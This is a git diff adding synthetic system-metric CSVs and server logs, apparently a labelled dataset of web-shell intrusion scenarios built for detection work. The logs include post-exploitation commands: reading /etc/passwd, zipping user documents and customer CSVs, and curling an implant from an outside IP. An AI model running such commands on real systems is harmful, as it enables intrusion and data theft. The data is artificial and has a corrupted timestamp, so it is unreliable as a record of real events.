Safari/604.1" +Aug 17 10:02:59 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:02:59 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" +Aug 17 10:03:30 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:03:30 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" +Aug 17 10:03:30 webserver-prod-2 sudo: www-data : TTY=unknown ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/sh -c ps aux +Aug 17 10:03:59 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:03:59 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" +Aug 17 10:04:29 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:04:29 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" +Aug 17 10:05:00 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:05:00 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" +Aug 17 10:05:00 webserver-prod-2 sudo: www-data : TTY=unknown ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/sh -c find / -name "*.php" +Aug 17 10:05:30 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:05:30 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" +Aug 17 10:05:59 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:05:59 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" +Aug 17 10:06:30 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:06:30 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" +Aug 17 10:06:40 webserver-prod-2 sudo: pam_unix(sudo:session): session closed for user root +Aug 17 10:07:00 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:07:00 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" \ No newline at end of file diff --git a/mali_dataset/scenario_8/mali_8_3.csv b/mali_dataset/scenario_8/mali_8_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..c6fc1b6d05b964254a1169c8e0f65d9464817a20 --- /dev/null +++ b/mali_dataset/scenario_8/mali_8_3.csv @@ -0,0 +1,89 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T18:00:00Z,5.13337965287895,25.43138883907742,1.312154425622381,0.59734182393284,1.40798218132149 +2025-08-23T18:00:05Z,5.92211910292445,25.46743903115456,1.46743903115456,0.46743903115456,0.96743903115456 +2025-08-23T18:00:10Z,6.13849103958103,26.13849103958103,1.63849103958103,1.13849103958103,1.63849103958103 +2025-08-23T18:00:15Z,5.83849103958103,24.83849103958103,0.83849103958103,0.38491039581039,0.83849103958103 +2025-08-23T18:00:20Z,18.83849103958103,28.83849103958103,1.38491039581039,2.38491039581039,4.38491039581039 +2025-08-23T18:00:25Z,5.3849103958103,25.3849103958103,1.38491039581039,0.38491039581039,1.3849103958103 +2025-08-23T18:00:30Z,6.83849103958103,25.83849103958103,1.83849103958103,0.83849103958103,1.83849103958103 +2025-08-23T18:00:35Z,25.83849103958103,29.83849103958103,2.83849103958103,1.83849103958103,8.83849103958103 +2025-08-23T18:00:40Z,16.3849103958103,27.3849103958103,1.83849103958103,2.83849103958103,3.83849103958103 +2025-08-23T18:00:45Z,6.13849103958103,26.13849103958103,1.63849103958103,1.13849103958103,1.63849103958103 +2025-08-23T18:00:50Z,5.83849103958103,24.83849103958103,0.83849103958103,0.38491039581039,0.83849103958103 +2025-08-23T18:00:55Z,20.83849103958103,28.83849103958103,2.3849103958103,1.3849103958103,5.3849103958103 +2025-08-23T18:01:00Z,17.83849103958103,27.83849103958103,1.83849103958103,2.83849103958103,4.38491039581039 +2025-08-23T18:01:05Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:01:10Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:01:15Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:01:20Z,16.83849103958103,26.83849103958103,1.83849103958103,2.83849103958103,3.83849103958103 +2_08-23T18:01:25Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:01:30Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:01:35Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:01:40Z,18.3849103958103,28.3849103958103,2.3849103958103,3.3849103958103,4.83849103958103 +2025-08-23T18:01:45Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:01:50Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:01:55Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:02:00Z,18.83849103958103,28.83849103958103,2.3849103958103,3.3849103958103,4.83849103958103 +2025-08-23T18:02:05Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:02:10Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:02:15Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:02:20Z,17.3849103958103,27.3849103958103,1.83849103958103,2.83849103958103,3.83849103958103 +2025-08-23T18:02:25Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:02:30Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:02:35Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:02:40Z,18.83849103958103,28.83849103958103,2.3849103958103,3.3849103958103,4.83849103958103 +2025-08-23T18:02:45Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:02:50Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:02:55Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:03:00Z,65.3849103958103,45.3849103958103,80.3849103958103,3.38491039581039,50.3849103958103 +2025-08-23T18:03:05Z,62.83849103958103,42.83849103958103,75.83849103958103,2.83849103958103,45.83849103958103 +2025-08-23T18:03:10Z,58.3849103958103,40.3849103958103,70.3849103958103,2.3849103958103,40.3849103958103 +2025-08-23T18:03:15Z,55.83849103958103,38.83849103958103,65.83849103958103,1.83849103958103,35.83849103958103 +2025-08-23T18:03:20Z,18.3849103958103,28.3849103958103,2.3849103958103,3.3849103958103,4.83849103958103 +2025-08-23T18:03:25Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:03:30Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:03:35Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:03:40Z,17.83849103958103,27.83849103958103,1.83849103958103,2.83849103958103,3.83849103958103 +2025-08-23T18:03:45Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:03:50Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:03:55Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:04:00Z,18.3849103958103,28.3849103958103,2.3849103958103,3.3849103958103,4.83849103958103 +2025-08-23T18:04:05Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 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+2025-08-23T18:04:55Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:05:00Z,17.83849103958103,27.83849103958103,1.83849103958103,2.83849103958103,3.83849103958103 +2025-08-23T18:05:05Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:05:10Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:05:15Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:05:20Z,18.3849103958103,28.3849103958103,2.3849103958103,3.3849103958103,4.83849103958103 +2025-08-23T18:05:25Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:05:30Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:05:35Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:05:40Z,17.83849103958103,27.83849103958103,1.83849103958103,2.83849103958103,3.83849103958103 +2025-08-23T18:05:45Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:05:50Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:05:55Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:06:00Z,18.3849103958103,28.3849103958103,2.3849103958103,3.3849103958103,4.83849103958103 +2025-08-23T18:06:05Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:06:10Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:06:15Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:06:20Z,17.83849103958103,27.83849103958103,1.83849103958103,2.83849103958103,3.83849103958103 +2025-08-23T18:06:25Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:06:30Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:06:35Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:06:40Z,18.3849103958103,28.3849103958103,2.3849103958103,3.3849103958103,4.83849103958103 +2025-08-23T18:06:45Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:06:50Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:06:55Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:07:00Z,17.83849103958103,27.83849103958103,1.83849103958103,2.83849103958103,3.83849103958103 +2025-08-23T18:07:05Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 +2025-08-23T18:07:10Z,5.83849103958103,24.83849103958103,0.83849103958103,0.138491039581039,0.83849103958103 +2025-08-23T18:07:25Z,6.3849103958103,25.3849103958103,1.3849103958103,0.38491039581039,1.3849103958103 \ No newline at end of file diff --git a/mali_dataset/scenario_8/mali_8_3.log b/mali_dataset/scenario_8/mali_8_3.log new file mode 100644 index 0000000000000000000000000000000000000000..e232463c38a1db91a00c3c4845e451ab6d77781d --- /dev/null +++ b/mali_dataset/scenario_8/mali_8_3.log @@ -0,0 +1,29 @@ +Aug 23 18:00:01 customer-portal-vm CRON[5541]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 23 18:00:20 customer-portal-vm lighttpd[1801]: 198.51.100.212 - - [23/Aug/2025:18:00:20 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:00:33 customer-portal-vm lighttpd[1801]: 45.33.32.156 - - [23/Aug/2025:18:00:33 +0000] "GET /robots.txt HTTP/1.1" 200 26 "-" "Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)" +Aug 23 18:00:35 customer-portal-vm audit: USER_CMD pid=5562 uid=1001 auid=4294967295 ses=4294967295 msg='cwd="/var/www/html" cmd="uname -a" terminal=?' +Aug 23 18:00:40 customer-portal-vm lighttpd[1802]: 198.51.100.212 - - [23/Aug/2025:18:00:40 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:00:55 customer-portal-vm audit: USER_CMD pid=5568 uid=1001 auid=4294967295 ses=4294967295 msg='cwd="/var/www/html" cmd="w" terminal=?' +Aug 23 18:01:00 customer-portal-vm lighttpd[1801]: 198.51.100.212 - - [23/Aug/2025:18:01:00 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:01:20 customer-portal-vm lighttpd[1802]: 198.51.100.212 - - [23/Aug/2025:18:01:20 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:01:40 customer-portal-vm lighttpd[1801]: 198.51.100.212 - - [23/Aug/2025:18:01:40 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:01:51 customer-portal-vm sshd[5580]: Invalid user jsmith from 10.0.2.2 port 48122 +Aug 23 18:02:00 customer-portal-vm lighttpd[1802]: 198.51.100.212 - - [23/Aug/2025:18:02:00 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:02:20 customer-portal-vm lighttpd[1801]: 198.51.100.212 - - [23/Aug/2025:18:02:20 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:02:40 customer-portal-vm lighttpd[1802]: 198.51.100.212 - - [23/Aug/2025:18:02:40 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:03:00 customer-portal-vm lighttpd[1801]: 198.51.100.212 - - [23/Aug/2025:18:03:00 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:03:00 customer-portal-vm audit: USER_CMD pid=5591 uid=1001 auid=4294967295 ses=4294967295 msg='cwd="/var/www/html" cmd="zip -r /tmp/stolen.zip /home/user/documents" terminal=?' +Aug 23 18:03:20 customer-portal-vm lighttpd[1802]: 198.51.100.212 - - [23/Aug/2025:18:03:20 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:03:28 customer-portal-vm lighttpd[1801]: 74.125.214.113 - - [23/Aug/2025:18:03:28 +0000] "GET /index.html HTTP/1.1" 200 4096 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" +Aug 23 18:03:40 customer-portal-vm lighttpd[1801]: 198.51.100.212 - - [23/Aug/2025:18:03:40 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:04:00 customer-portal-vm lighttpd[1802]: 198.51.100.212 - - [23/Aug/2025:18:04:00 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:04:20 customer-portal-vm lighttpd[1801]: 198.51.100.212 - - [23/Aug/2025:18:04:20 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:04:40 customer-portal-vm lighttpd[1802]: 198.51.100.212 - - [23/Aug/2025:18:04:40 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:05:00 customer-portal-vm lighttpd[1801]: 198.51.100.212 - - [23/Aug/2025:18:05:00 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:05:20 customer-portal-vm lighttpd[1802]: 198.51.100.212 - - [23/Aug/2025:18:05:20 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:05:40 customer-portal-vm lighttpd[1801]: 198.51.100.212 - - [23/Aug/2025:18:05:40 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:06:00 customer-portal-vm lighttpd[1802]: 198.51.100.212 - - [23/Aug/2025:18:06:00 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:06:20 customer-portal-vm lighttpd[1801]: 198.51.100.212 - - [23/Aug/2025:18:06:20 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:06:40 customer-portal-vm lighttpd[1802]: 198.51.100.212 - - [23/Aug/2025:18:06:40 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 55 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" +Aug 23 18:07:00 customer-portal-vm lighttpd[1801]: 198.51.100.212 - - [23/Aug/2025:18:07:00 +0000] "POST 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+2025-08-24T09:06:55Z,7.83407981328903,28.83014283921093,2.83412984102931,1.30138921039821,2.01392109381029 +2025-08-24T09:07:00Z,7.83407981328903,28.83014283921093,2.83412984102931,1.30138921039821,2.01392109381029 +2025-08-24T09:07:05Z,8.01392109381029,29.01392109381029,2.301392109381029,1.01392109381029,2.01392109381029 +2025-08-24T09:07:10Z,7.83407981328903,28.83014283921093,2.83412984102931,1.30138921039821,2.01392109381029 +2025-08-24T09:07:25Z,8.01392109381029,29.01392109381029,2.301392109381029,1.01392109381029,2.01392109381029 \ No newline at end of file diff --git a/mali_dataset/scenario_8/mali_8_4.log b/mali_dataset/scenario_8/mali_8_4.log new file mode 100644 index 0000000000000000000000000000000000000000..f6a70c001b6e1259cf02845a478a404035c8f19b --- /dev/null +++ b/mali_dataset/scenario_8/mali_8_4.log @@ -0,0 +1,12 @@ +Aug 24 09:00:10 web-staging-03 nginx[1531]: 66.249.66.1 - - [24/Aug/2025:09:00:10 +0000] "GET /robots.txt HTTP/1.1" 200 26 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 24 09:01:20 web-staging-03 sudo: www-data : TTY=unknown ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/cat /etc/passwd +Aug 24 09:01:30 web-staging-03 nginx[1530]: 100.43.80.11 - - [24/Aug/2025:09:01:30 +0000] "POST /wp-includes/class-wp-http.php HTTP/1.1" 200 35 "-" "curl/7.81.0" +Aug 24 09:02:45 web-staging-03 sshd[3301]: Failed password for invalid user oracle from 122.114.61.35 port 53346 ssh2 +Aug 24 09:02:55 web-staging-03 CRON[3310]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Aug 24 09:03:00 web-staging-03 nginx[1531]: 100.43.80.11 - - [24/Aug/2025:09:03:00 +0000] "POST /wp-includes/class-wp-http.php HTTP/1.1" 200 35 "-" "curl/7.81.0" +Aug 24 09:03:55 web-staging-03 sudo: www-data : TTY=unknown ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/ps -ef +Aug 24 09:04:30 web-staging-03 nginx[1530]: 100.43.80.11 - - [24/Aug/2025:09:04:30 +0000] "POST /wp-includes/class-wp-http.php HTTP/1.1" 200 35 "-" "curl/7.81.0" +Aug 24 09:05:15 web-staging-03 nginx[1531]: 216.244.66.228 - - [24/Aug/2025:09:05:15 +0000] "GET / HTTP/1.1" 200 4096 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)" +Aug 24 09:06:00 web-staging-03 nginx[1531]: 100.43.80.11 - - [24/Aug/2025:09:06:00 +0000] "POST /wp-includes/class-wp-http.php HTTP/1.1" 200 35 "-" "curl/7.81.0" +Aug 24 09:06:20 web-staging-03 sudo: www-data : TTY=unknown ; PWD=/var/www/html ; USER=root ; COMMAND=/usr/bin/curl -o /tmp/implant http://100.43.80.99/payload +Aug 24 09:07:20 web-staging-03 sshd[3395]: Accepted publickey for user devops from 192.168.1.10 port 60123 ssh2: ED25519 SHA256:XXXXXXXXXXXXXXXX \ No newline at end of file diff --git a/mali_dataset/scenario_8/mali_8_5.csv b/mali_dataset/scenario_8/mali_8_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..ca17f2554e78635ee0eace1fd99b70f18b45f8ac --- /dev/null +++ b/mali_dataset/scenario_8/mali_8_5.csv @@ -0,0 +1,89 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-25T14:20:00Z,15.195321543169733,45.42111402634386,5.313410520448135,3.24795321589255,4.533215431697334 +2025-08-25T14:20:05Z,14.01918341662709,46.12918341662709,5.746019550978931,3.02293406308215,4.31599313214878 +2025-08-25T14:20:10Z,15.83407981328903,45.83014283921093,5.83412984102931,3.30138921039821,4.01392109381029 +2025-08-25T14:20:15Z,16.01392109381029,46.01392109381029,5.301392109381029,3.01392109381029,4.01392109381029 +2025-08-25T14:20:20Z,14.83407981328903,45.83014283921093,5.83412984102931,3.30138921039821,4.01392109381029 +2025-08-25T14:20:25Z,16.01392109381029,46.01392109381029,5.301392109381029,3.01392109381029,4.01392109381029 +2025-08-25T14:20:30Z,28.83407981328903,48.83014283921093,5.83412984102931,4.30138921039821,7.01392109381029 +2025-08-25T14:20:35Z,16.01392109381029,46.01392109381029,5.301392109381029,3.01392109381029,4.01392109381029 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file mode 100644 index 0000000000000000000000000000000000000000..1d1fd5bc6ced741e85a4b5b92e949fe6db9ab99b --- /dev/null +++ b/mali_dataset/scenario_8/mali_8_5.log @@ -0,0 +1,23 @@ +#Software: Microsoft Internet Information Services 10.0 +#Version: 1.0 +#Date: 2025-08-25 14:19:59 +#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken +2025-08-25 14:20:30 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 156 +2025-08-25 14:20:45 A new process has been created. Creator Process Name: C:\Windows\System32\inetsrv\w3wp.exe, New Process Name: C:\Windows\System32\cmd.exe, Command Line: whoami /all +2025-08-25 14:21:00 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 141 +2025-08-25 14:21:30 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 139 +2025-08-25 14:21:55 10.1.1.5 GET /images/logo.png - 443 - 198.168.1.10 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/104.0.0.0+Safari/537.36 https://example.com/ 200 0 0 80 +2025-08-25 14:22:00 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 145 +2025-08-25 14:22:30 A new process has been created. Creator Process Name: C:\Windows\System32\inetsrv\w3wp.exe, New Process Name: C:\Windows\System32\cmd.exe, Command Line: dir C:\inetpub\wwwroot\ +2025-08-25 14:22:30 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 162 +2025-08-25 14:23:00 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 128 +2025-08-25 14:23:30 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 149 +2025-08-25 14:24:00 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 151 +2025-08-25 14:24:00 A new process has been created. Creator Process Name: C:\Windows\System32\inetsrv\w3wp.exe, New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, Command Line: powershell -c "Compress-Archive -Path C:\customer_data\*.csv -DestinationPath C:\Windows\Temp\data.zip; cat C:\Windows\Temp\data.zip" +2025-08-25 14:24:30 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 133 +2025-08-25 14:25:00 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 155 +2025-08-25 14:25:30 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 148 +2025-08-25 14:26:00 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 150 +2025-08-25 14:26:05 10.1.1.5 GET / - 80 - 66.249.79.235 Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html) - 200 0 0 210 +2025-08-25 14:26:30 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 129 +2025-08-25 14:27:00 10.1.1.5 POST /customer_data/export.aspx - 443 - 209.141.52.88 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:91.0)+Gecko/20100101+Firefox/91.0 - 200 0 0 143 \ No newline at end of file diff --git a/mali_dataset/scenario_8/mali_8_6.csv b/mali_dataset/scenario_8/mali_8_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..d8e386d6899143268b8c5d2ab12878a023689cb7 --- /dev/null +++ b/mali_dataset/scenario_8/mali_8_6.csv @@ -0,0 +1,89 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T15:30:00Z,8.44852926411931,33.0016334653415,2.0594363493650637,1.0118833917024942,2.399249764516131 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+2025-08-22T15:36:50Z,7.83849103958103,31.83849103958103,0.838491039581029,0.0,0.838491039581029 